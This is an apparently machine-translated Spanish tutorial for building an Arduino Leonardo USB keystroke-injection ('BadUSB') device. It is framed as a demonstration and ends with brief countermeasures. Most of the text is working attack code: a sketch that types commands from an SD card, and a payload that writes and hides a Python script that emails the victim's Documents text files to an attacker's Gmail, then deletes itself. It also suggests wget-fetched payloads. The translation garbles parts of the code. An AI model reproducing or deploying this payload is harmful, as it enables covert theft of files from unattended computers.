Demostración y prevención de exploits del teclado Arduino (HID)
Componentes y suministros
| × | 1 | ||||
| × | 1 | ||||
| × | 1 | ||||
| × | 1 | ||||
| × | 1 | ||||
| × | 1 |
Acerca de este proyecto
En este proyecto usaremos un Arduino Leonardo para simular un posible ataque USB usando HID (dispositivo de interfaz humana).
He creado este tutorial no para ayudar a los piratas informáticos, sino para mostrarles algunos peligros reales y cómo protegerse de esos peligros. Este dispositivo no es un dispositivo que pueda usarse en cualquier plataforma para piratas informáticos, es más una prueba de concepto en detalle.
Aprenderemos lo siguiente:
- cómo usar arduino leonardo para emular el teclado
- cómo leer datos de tarjetas SD
- cómo crear una secuencia de comandos de Python que escanee archivos y los envíe por correo electrónico
- cómo protegerse de los dispositivos de piratería USB
Paso 1:Materiales
Partes:
1. Arduino leonardo
2. lector de tarjetas micro USB
3. algunos GB de tarjeta SD
4. pulsador como este uno (VCC, tierra y señal)
5. cables de puente hembra-macho y hembra-hembra
6. cable micro USB a USB
Paso 2:compilación del dispositivo
Antes de las instrucciones de construcción, repasemos el principio de funcionamiento:
Arduino leonardo puede comportarse como un dispositivo de interfaz humana (HID) y, por lo tanto, puede emular el mouse y el teclado. Usaremos esta función para abrir una terminal (en UBUNTU linux) y escribir un pequeño script que accederá a la carpeta / Documentos dentro de los archivos copy.txt de la carpeta de inicio del usuario y los enviará por correo electrónico a alguien. Si desea obtener más detalles, consulte el siguiente paso.
Debido a que es un dispositivo de demostración, las cosas son realmente simples, no vamos a soldar nada.
Instrucciones de construcción
Antes de comenzar, verifique los archivos adjuntos, he adjuntado esquemas fritzing y todos los archivos necesarios
1. Ensamble los componentes:
* conecte el cable micro USB en el arduino
* conecte el interruptor de llave al arduino (tierra, vcc y módulo de salida a D8)
* conecte el lector de tarjetas al arduino (usando el encabezado ICSP). Arduino leonardo no tiene el encabezado ICSP conectado a pines digitales, por lo que deberá conectar el lector de tarjetas al encabezado ICSP. Puede encontrar algunos dibujos del ICSP aquí:https://learn.sparkfun.com/tutorials/installing-an .... Conecte el pin SS al pin digital 10
2. obtén el código arduino , puedes clonar mi repositorio arduino en github:https://github.com/danionescu0/arduino e ir a proyectos / keyboard_exploit u obtenerlo desde abajo:
#include "Keyboard.h" #include "SPI.h" #include "SD.h" String filenameOnCard ="hack.txt"; String sleepCommandStartingPoint ="Sleep ::"; String commandStartingPoint ="Comando ::"; int delayBetweenCommands =10; const int buttonPin =8; const int chipSelect =10; int previousButtonState =HIGH; configuración vacía () {pinMode (buttonPin, INPUT); Serial.begin (9600); Keyboard.begin (); if (! SD.begin (chipSelect)) {Serial.println ("¡La tarjeta falló o no está presente!"); regreso; }} bucle vacío () {int buttonState =digitalRead (buttonPin); if ((buttonState! =previousButtonState) &&(buttonState ==HIGH)) {sdFileToKeyboard (); Serial.println ("¡Cargado!"); retraso (500); } previousButtonState =buttonState;} void sdFileToKeyboard () {Archivo dataFile =SD.open (filenameOnCard); if (! dataFile) {Serial.println ("El nombre de archivo especificado no está presente en la tarjeta SD, verifique filenameOnCard!"); } Línea de cadena; while (dataFile.available ()) {línea =dataFile.readStringUntil ('\ n'); Serial.println (línea); sendToKeyboard (línea); } dataFile.close ();} void sendToKeyboard (String línea) {String workingLine =línea; if (workingLine.indexOf (sleepCommandStartingPoint)! =-1) {sleepFor (línea); regreso; } if (workingLine.indexOf (commandStartingPoint) ==-1) {Serial.print ("Texto:"); Serial.println (línea); Keyboard.println (línea); pressEnter (); regreso; } Serial.println ("Comando:"); int charPosition =commandStartingPoint.length (); int lineLength =line.length (); WorkingLine + =","; while (workingLine! ="") {workingLine =workingLine.substring (charPosition); Serial.print ("WorkingLine:"); Serial.println (workingLine); int specialCommandDelimiterPosition =workingLine.indexOf (","); String command =workingLine.substring (0, specialCommandDelimiterPosition); charPosition =specialCommandDelimiterPosition + 1; if (comando! ="") {Serial.print ("Comando encontrado:"); Serial.println (comando); Keyboard.press (getCommandCode (comando)); delay (delayBetweenCommands); }} Keyboard.releaseAll (); delay (delayBetweenCommands);} void pressEnter () {Keyboard.press (KEY_RETURN); Keyboard.releaseAll ();} void sleepFor (String line) {int sleepAmount =line.substring (sleepCommandStartingPoint.length (), line.length ()). ToInt (); Serial.print ("Durmiendo para:"); Serial.println (sleepAmount); delay (sleepAmount);} char getCommandCode (String text) {char textCharacters [2]; text.toCharArray (textCharacters, 2); char code =textCharacters [0]; código =(texto =="KEY_LEFT_CTRL")? KEY_LEFT_CTRL:código; código =(texto =="KEY_LEFT_SHIFT")? KEY_LEFT_SHIFT:código; código =(texto =="KEY_LEFT_ALT")? KEY_LEFT_ALT:código; código =(texto =="KEY_UP_ARROW")? KEY_UP_ARROW:código; código =(texto =="KEY_DOWN_ARROW")? KEY_DOWN_ARROW:código; código =(texto =="KEY_LEFT_ARROW")? KEY_LEFT_ARROW:código; código =(texto =="KEY_RIGHT_ARROW")? KEY_RIGHT_ARROW:código; código =(texto =="KEY_RIGHT_GUI")? KEY_RIGHT_GUI:código; código =(texto =="KEY_BACKSPACE")? KEY_BACKSPACE:código; código =(texto =="KEY_TAB")? KEY_TAB:código; código =(texto =="KEY_RETURN")? KEY_RETURN:código; código =(texto =="KEY_ESC")? KEY_ESC:código; código =(texto =="KEY_INSERT")? KEY_INSERT:código; código =(texto =="KEY_DELETE")? KEY_DELETE:código; código =(texto =="KEY_PAGE_UP")? KEY_PAGE_UP:código; código =(texto =="KEY_PAGE_DOWN")? KEY_PAGE_DOWN:código; código =(texto =="KEY_HOME")? KEY_HOME:código; código =(texto =="KEY_END")? KEY_END:código; código =(texto =="KEY_CAPS_LOCK")? KEY_CAPS_LOCK:código; código =(texto =="KEY_F1")? KEY_F1:código; código =(texto =="KEY_F2")? KEY_F2:código; código =(texto =="KEY_F3")? KEY_F3:código; código =(texto =="KEY_F4")? KEY_F4:código; código =(texto =="KEY_F5")? KEY_F5:código; código =(texto =="KEY_F6")? KEY_F6:código; código =(texto =="KEY_F7")? KEY_F7:código; código =(texto =="KEY_F8")? KEY_F8:código; código =(texto =="KEY_F9")? KEY_F9:código; código =(texto =="KEY_F10")? KEY_F10:código; código =(texto =="KEY_F11")? KEY_F1:código; código =(texto =="KEY_F12")? KEY_F2:código;
código de retorno;}
3. Sube el código al arduino, asegúrate de seleccionar 9600 baud rate, el puerto serial y arduino leonardo
4. Formatee la tarjeta sd con FAT16 o FAT32
5. Si clonaste el repositorio de github desde arriba, copiar el archivo hack.txt en la tarjeta, si no, el archivo se enumera a continuación:
Command ::KEY_LEFT_CTRL, KEY_LEFT_ALT, tSleep ::500vi hack.pySleep ::300Command ::KEY_INSERTimport smtplibimport glob, osfrom os.path import expanduserfrom email.MIMEMultipart import MIMEMultipart from email.MIMEBasee import MIM. email.Utils import COMMASPACE, formatdatefrom email import Encoderssmtp_user ='sender_gmail_address'smtp_pass =' sender_gmail_password'to_address ='receptor_address'scan_documents_location =' Documentos'subject =body ='Archivos de computadora pirateada'header} =' Torom:{1} \ nSubject:{2} \ n'.format (to_address, smtp_user, subject) def sendMail (to, subject, text, files =[]):msg =MIMEMultipart () msg ['From'] =smtp_user msg ['To'] =COMMASPACE.join (to) msg ['Date'] =formatdate (localtime =True) msg ['Subject'] =subject msg.attach (MIMEText (text)) para el archivo en archivos:part =MIMEBase ('aplicación', "octet-stream") part.set_payload (open (file, "rb"). read ()) Encoders.encode_base64 (part) part.add_header ('Content-Disposition', 'adjunto archivo; filename ="% s" '% os.path.basename (file)) msg.attach (part) server =smtplib.SMTP (' smtp.gmail.com:587 ') server.starttls () server.login (smtp_user, smtp_pass) server.sendmail (smtp_user, to, msg.as_string ()) server.quit () sendMail ([to_address], subject, body, glob.glob ("{0} / {1} / *. txt" .format (expanduser ("~"), scan_documents_location))) Sleep ::50Command ::KEY_ESCSleep ::100:xSleep ::500nohup python hack.py &Sleep ::700rm -rf hack.pySleep ::400Command ::KEY_LEFT_ALT, KEY_F4
6. Edite las siguientes líneas:
smtp_user ='sender_email_addr'smtp_pass =' sender_password'to_address ='receptor_address'
Y reemplácelo con sus direcciones de correo electrónico
7. Retire la tarjeta e insértela en el lector de tarjetas arduino
sketch.fzz keyboard_exploit.ino hack.txt hack.py
Paso 3:cómo funciona en detalles
Cómo funcionará el ataque:
1. Cuando se presiona el botón, el leonardo leerá la tarjeta sd usando un lector de tarjetas sd. Un archivo especial que contiene claves y combinación de teclas estará presente en la tarjeta. El nombre del archivo es "hack.txt".
El archivo puede contener texto sin formato y se pasará al teclado tal como está.
También puede contener comandos especiales como "Sleep ::" y "Command ::".
Una línea como:
Sleep ::200 significa un sueño de 200 ms
Una línea como:
Command ::KEY_LEFT_CTRL, KEY_LEFT_ALT, t significa Ctrl izquierdo presionado, Alt izquierdo presionado, t presionado y todo liberado
Puede consultar todas las claves especiales aquí:https://www.arduino.cc/en/Reference/KeyboardModif ...
2. Leonardo leerá línea por línea, interpretará los comandos y emulará las teclas del teclado. El archivo "hack.txt" contiene una combinación de teclas que hace lo siguiente (para UBUNTU linux):
una. abre una terminal (CTRL + ALT + T)
B. abre un archivo de Python para su creación usando vi (escribe "vi hack.py"
C. escribe una secuencia de comandos de Python en su interior que recopila todos los archivos de texto dentro de la carpeta de inicio de los documentos y los envía a una dirección de Gmail especificada
D. ejecuta el archivo en segundo plano ("nohup python hack.py &")
mi. elimina el archivo (rm -rf hack.py)
F. cierra la terminal (ALT + F4)
Todo esto se ejecuta en unos segundos y no deja rastros.
Mejoras y solución de problemas
* Es posible que haya notado que después de abrir una terminal, estoy escribiendo el archivo Python. una mejor manera de hacerlo será alojarlo en algún lugar y descargarlo usando el comando "wget some_url", luego cambiarle el nombre a hack.py
* También podemos descargar o ejecutar un exploit listo para usar para el sistema operativo objetivo
* Se puede agregar wifi al módulo y los trucos se pueden cargar a través de WIFI
* puede usar arduino micro (que es mucho más pequeño) e incrustar código de explotación en él (para hacerlo más pequeño)
Limitaciones
1. Debido a que el dispositivo simulado (teclado y mouse) no tiene ningún comentario, no sabemos qué sucederá después de emitir un comando que significa que debemos usar retrasos. Por ejemplo, estoy emitiendo un comando para abrir la terminal, pero no sé cuándo estará realmente abierta, por lo que necesito especificar un retraso arbitrario para asegurar que los caracteres escritos después no se pierdan.
2. Podemos encontrar problemas de permisos como no tener acceso al puerto USB o el permiso para instalar algo
3. La velocidad de escritura no es tan buena en leonardo
4. Funcionará solo en un sistema operativo específico (en nuestro caso, UBUNTU linux)
En el siguiente paso intentaremos buscar formas de aprovechar estas limitaciones para evitar que nuestra computadora sea pirateada
Paso 4:contramedidas
1. Desactivación de puertos USB
- para Windows, puede consultar este tutorial:http://www.thewindowsclub.com/disable-enable-usb-w ...
2. Incluir dispositivos USB en la lista blanca:
- para Windows:https://superuser.com/questions/1152012/block-unbl ...
2. Bloquee su computadora cuando no esté ausente
3. No inicie sesión como root (se requieren contraseñas para instalar cualquier cosa)
4. Manténgase actualizado (actualizaciones automáticas activadas)
Código
- keyboard_exploit.ino
- Fragmento de código n. ° 1
- Fragmento de código n. ° 2
keyboard_exploit.ino Arduino
Error al abrir el archivo.Fragmento de código n. ° 1 Texto sin formato
#include "Keyboard.h" #include "SPI.h" #include "SD.h" String filenameOnCard ="hack.txt"; String sleepCommandStartingPoint ="Sleep ::"; String commandStartingPoint ="Command ::"; int delayBetweenCommands =10; const int buttonPin =8; const int chipSelect =10; int previousButtonState =HIGH; configuración vacía () {pinMode (buttonPin, INPUT); Serial.begin (9600); Keyboard.begin (); if (! SD.begin (chipSelect)) {Serial.println ("¡La tarjeta falló o no está presente!"); regreso; }} bucle vacío () {int buttonState =digitalRead (buttonPin); if ((buttonState! =previousButtonState) &&(buttonState ==HIGH)) {sdFileToKeyboard (); Serial.println ("¡Cargado!"); retraso (500); } previousButtonState =buttonState;} void sdFileToKeyboard () {Archivo dataFile =SD.open (filenameOnCard); if (! dataFile) {Serial.println ("El nombre de archivo especificado no está presente en la tarjeta SD, verifique filenameOnCard!"); } Línea de cadena; while (dataFile.available ()) {línea =dataFile.readStringUntil ('\ n'); Serial.println (línea); sendToKeyboard (línea); } dataFile.close ();} void sendToKeyboard (String línea) {String workingLine =línea; if (workingLine.indexOf (sleepCommandStartingPoint)! =-1) {sleepFor (línea); regreso; } if (workingLine.indexOf (commandStartingPoint) ==-1) {Serial.print ("Texto:"); Serial.println (línea); Keyboard.println (línea); pressEnter (); regreso; } Serial.println ("Comando:"); int charPosition =commandStartingPoint.length (); int lineLength =line.length (); WorkingLine + =","; while (workingLine! ="") {workingLine =workingLine.substring (charPosition); Serial.print ("WorkingLine:"); Serial.println (workingLine); int specialCommandDelimiterPosition =workingLine.indexOf (","); String command =workingLine.substring (0, specialCommandDelimiterPosition); charPosition =specialCommandDelimiterPosition + 1; if (comando! ="") {Serial.print ("Comando encontrado:"); Serial.println (comando); Keyboard.press (getCommandCode (comando)); delay (delayBetweenCommands); }} Keyboard.releaseAll (); delay (delayBetweenCommands);} void pressEnter () {Keyboard.press (KEY_RETURN); Keyboard.releaseAll ();} void sleepFor (String line) {int sleepAmount =line.substring (sleepCommandStartingPoint.length (), line.length ()). ToInt (); Serial.print ("Durmiendo para:"); Serial.println (sleepAmount); delay (sleepAmount);} char getCommandCode (String text) {char textCharacters [2]; text.toCharArray (textCharacters, 2); char code =textCharacters [0]; código =(texto =="KEY_LEFT_CTRL")? KEY_LEFT_CTRL:código; código =(texto =="KEY_LEFT_SHIFT")? KEY_LEFT_SHIFT:código; código =(texto =="KEY_LEFT_ALT")? KEY_LEFT_ALT:código; código =(texto =="KEY_UP_ARROW")? KEY_UP_ARROW:código; código =(texto =="KEY_DOWN_ARROW")? KEY_DOWN_ARROW:código; código =(texto =="KEY_LEFT_ARROW")? KEY_LEFT_ARROW:código; código =(texto =="KEY_RIGHT_ARROW")? KEY_RIGHT_ARROW:código; código =(texto =="KEY_RIGHT_GUI")? KEY_RIGHT_GUI:código; código =(texto =="KEY_BACKSPACE")? KEY_BACKSPACE:código; código =(texto =="KEY_TAB")? KEY_TAB:código; código =(texto =="KEY_RETURN")? KEY_RETURN:código; código =(texto =="KEY_ESC")? KEY_ESC:código; código =(texto =="KEY_INSERT")? KEY_INSERT:código; código =(texto =="KEY_DELETE")? KEY_DELETE:código; código =(texto =="KEY_PAGE_UP")? KEY_PAGE_UP:código; código =(texto =="KEY_PAGE_DOWN")? KEY_PAGE_DOWN:código; código =(texto =="KEY_HOME")? KEY_HOME:código; código =(texto =="KEY_END")? KEY_END:código; código =(texto =="KEY_CAPS_LOCK")? KEY_CAPS_LOCK:código; código =(texto =="KEY_F1")? KEY_F1:código; código =(texto =="KEY_F2")? KEY_F2:código; código =(texto =="KEY_F3")? KEY_F3:código; código =(texto =="KEY_F4")? KEY_F4:código; código =(texto =="KEY_F5")? KEY_F5:código; código =(texto =="KEY_F6")? KEY_F6:código; código =(texto =="KEY_F7")? KEY_F7:código; código =(texto =="KEY_F8")? KEY_F8:código; código =(texto =="KEY_F9")? KEY_F9:código; código =(texto =="KEY_F10")? KEY_F10:código; código =(texto =="KEY_F11")? KEY_F1:código; código =(texto =="KEY_F12")? KEY_F2:código;código de retorno;}
Fragmento de código n. ° 2 Texto sin formato
Command ::KEY_LEFT_CTRL, KEY_LEFT_ALT, tSleep ::500vi hack.pySleep ::300Command ::KEY_INSERTimport smtplibimport glob, osfrom os.path import expanduserfrom email.MIMEMultipart import MIMEMultipartfrom email.MIMEBase import MIME import COMMASPACE, formatdatefrom email import Encoderssmtp_user ='sender_gmail_address'smtp_pass =' sender_gmail_password'to_address ='receiver_address'scan_documents_location =' Documentos'subject =body ='Archivos de una computadora pirateada'header =' Para:{0} \ n \ nAsunto:{2} \ n'.format (to_address, smtp_user, subject) def sendMail (to, subject, text, files =[]):msg =MIMEMultipart () msg ['From'] =smtp_user msg ['To '] =COMMASPACE.join (to) msg [' Date '] =formatdate (localtime =True) msg [' Subject '] =subject msg.attach (MIMEText (text)) for file in files:part =MIMEBase (' application ', "octet-stream") part.set_payload (open (file, "rb"). read ()) Encoders.encode_base64 (part) part.add_header (' Content-Disposition ',' attac hment; filename ="% s" '% os.path.basename (file)) msg.attach (part) server =smtplib.SMTP (' smtp.gmail.com:587 ') server.starttls () server.login (smtp_user, smtp_pass) server.sendmail (smtp_user, to, msg.as_string ()) server.quit () sendMail ([to_address], subject, body, glob.glob ("{0} / {1} / *. txt" .format (expanduser ("~"), scan_documents_location))) Sleep ::50Command ::KEY_ESCSleep ::100:xSleep ::500nohup python hack.py &Sleep ::700rm -rf hack.pySleep ::400Command ::KEY_LEFT_ALT, KEY_F4
Github
https://github.com/danionescu0/arduinohttps://github.com/danionescu0/arduinoEsquemas
sketch_D4S1ftXkTU.fzzRepositorio de Arduino
El boceto está dentro de proyectos / keyboard_exploithttps://github.com/danionescu0/arduinoProceso de manufactura
- Animación LCD y juegos
- Voltímetro de bricolaje con Arduino y un teléfono inteligente
- Registrador de datos de temperatura y humedad
- Arduino + LED + Teclado MIDI + MuseScore =Tutor de piano
- Python3 y comunicación Arduino
- Autómatas celulares basados en Arduino y OLED
- Radio FM usando Arduino y RDA8057M
- Sistema de asistencia basado en Arduino y hoja de cálculo de Google
- Matriz de teclado de prototipos de 64 teclas para Arduino
- Calculadora Arduino
- IoT:Aplicaciones universales y Arduino remoto de Windows